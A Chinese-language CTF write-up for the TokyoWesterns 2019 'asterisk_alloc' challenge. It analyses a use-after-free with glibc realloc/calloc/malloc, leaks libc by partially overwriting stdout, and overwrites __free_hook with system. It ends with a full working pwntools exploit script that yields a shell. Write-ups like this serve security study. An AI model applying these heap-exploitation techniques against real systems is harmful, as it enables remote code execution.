TokyoWesterns2019:asterisk_alloc
realloc save the world
prologue
之前的一题,队友当时解决的,感觉这题挺有趣的我就复现了一下。 attachment 因为是上周做的最近有点忙记不太清了..具体依照记忆来复述
analysis
[*] '/home/n132/Desktop/asterisk/asterisk'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开主要的问题是UAF
,比较好玩的是题目结合了malloc
,realloc
,calloc
.在做题前得了解一下三者特性…
malloc
: 平时了解的最多就不说了.
calloc
: 之前简单认为是malloc
+memset
为0,现在粗略看了看源码发现其实是_int_malloc
+memset
不是libc_malloc
也就是说不走tcache
..还有一点是他其实也是有hook
的但是他没有单独的hook
用的是__malloc_hook
realloc
: 应该算是本题的主角了可以说本题前面两个都是打杂的,这题也让我知道了原来realloc
可以干这么多的事情,我在下一小节中介绍.
realloc(ptr,size)
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3136
具体的就不详细说明了源码是最好的老师realloc
和_int_realloc
看一遍基本就差不多了
从源码来看realloc
主要会遇到以下情况(下面的说法是不严谨的主要为了便于理解)
- size==0 相当于 _libc_free (返回值是0)
- ptr=0 相当于 _libc_malloc
- chunk-expand 采用先看本chunk再看nextchunk都不行那就
alloc+copy+free
的策略 - chunk-shrink 直接切分.
所以本题中唯一可以清空指针的地方也就是realloc(ptr,0)
.
而malloc
,realloc
只能用一次.
然后我们在看本题是没有直接的泄漏点的要么partial-write
要么IO leak
···目前的经验来看大多情况下两者结合起来是最优解…
于是乎我们就要获得一个unsorted bin
然后partial write
指向stdout
结构体之后改写之.
但是我们一共只有3个可用指针也就是说malloc
/calloc
只能用一次.
还有就是calloc
不会从tcache
上取chunk
但是要改写stdout
我们至少需要2个chunk:
- 1个是最终控制stdout区域的 (后文中命名为
1号
) - 第二个是拿掉
bins
链上最顶端的那个需要的(后文中命名为2号
)
但是事实上我们还需要在这之前完成partial-write
需要的3号
所以让我们现在分配一下任务.
首先是最灵活的realloc
毫无疑问是是3号
因为另外两者都只能用一次但是在泄漏后还有get_shell
的重要任务所以只有最灵活的realloc
可以担此大任
然后是calloc
这个最辣鸡的…不可能是1号
了因为如果他是1号
会对内存memset
为0那我们就没办法partial_write
stduot了.所以2号
是calloc
··1号
是malloc
此处还有个问题是calloc
不会取tcache
所以我们得做fastbin atk
所以我们的思路很清楚了
solution
realloc
乱七八糟一顿操作完成fastbin atk
的布局calloc(0x68)
拿掉fastbin[5]
顶端那个malloc(0x68)
改写stdout
造成泄漏realloc
乱七八糟一顿操作控制__free_hook
- getshell
所以我们目前的关键就是乱七八糟一顿操作
oh.还有一点刚才忘记说了本题有个scanf("%d")
可以直接召唤malloc_consolidate
那么我们怎么操作呢
经过我的尝试。我把上面乱七八糟一顿操作归结为如何造成overlap
这个简单的问题.
过程我就不说了直接上结论如何使用realloc
完成任意地址写.
add(0x88+0x20+0x20)
add(0x88+0x20)
add(0x88)
add(0)
add(0x18)
for x in range(7):
free()
add(0)
add(0x88)
cmd("1"*0x420)
add(0x88+0x20,"A"*0x88+p64(0x21)+p64('somewhere...'))
主要就是通过expand
来完成.
这样以来这题的思路的每一个环节都被打通所以我们可以就有了如下exp
exp
概率为1/16
from pwn import *
#context.log_level='debug'
context.arch='amd64'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one = [0x4f2c5,0x4f322,0x10a38c]
def cmd(c):
p.sendlineafter(": ",str(c))
def malloc(size,c="A"):
cmd(1)
cmd(size)
p.sendafter(": ",c)
def calloc(size,c='A'):
cmd(2)
cmd(size)
p.sendafter(": ",c)
def realloc(size,c="A"):
cmd(3)
cmd(size)
if size!=0:
p.sendafter(": ",c)
else:
p.readuntil(": ")
def free(idx):
if idx ==0:
c="m"
elif idx==1:
c='c'
else:
c='r'
cmd(4)
cmd(c)
p=process('./pwn')
#p=remote("buuoj.cn",28744)
realloc(0x68)
for x in range(7):
free(2)
realloc(0)
realloc(0x68)
realloc(0x88+0x20)
realloc(0x88)
for x in range(7):
free(2)
realloc(0)
realloc(0x88)
realloc(0x68,"\x1d\x07")
#gdb.attach(p)
calloc(0x68)
malloc(0x68,'\x00'*0x33+p64(0x1802)+'\x00'*0x19)
p.read(0x80)
base=u64(p.read(8))-(0x7ffff7dd0700-0x7ffff79e4000)
libc.address=base
log.warning(hex(base))
realloc(0x68,p64(0x7ffff7dcfca0-0x7ffff79e4000+base)*2)
realloc(0)
realloc(0x98+0x88)
realloc(0x98)
realloc(0)
realloc(0x88)
free(2)
realloc(0)
realloc(0x98)
realloc(0x98+0x88,'\x00'*0x98+p64(0x91)+p64(libc.sym['__free_hook']-8))
realloc(0)
realloc(0x88)
realloc(0x68)
realloc(0)
realloc(0x88,"/bin/sh\x00"+p64(libc.sym['system']))
#gdb.attach(p)
free(2)
p.interactive()
# set stdou to leak
# free_hook
0x000555555756030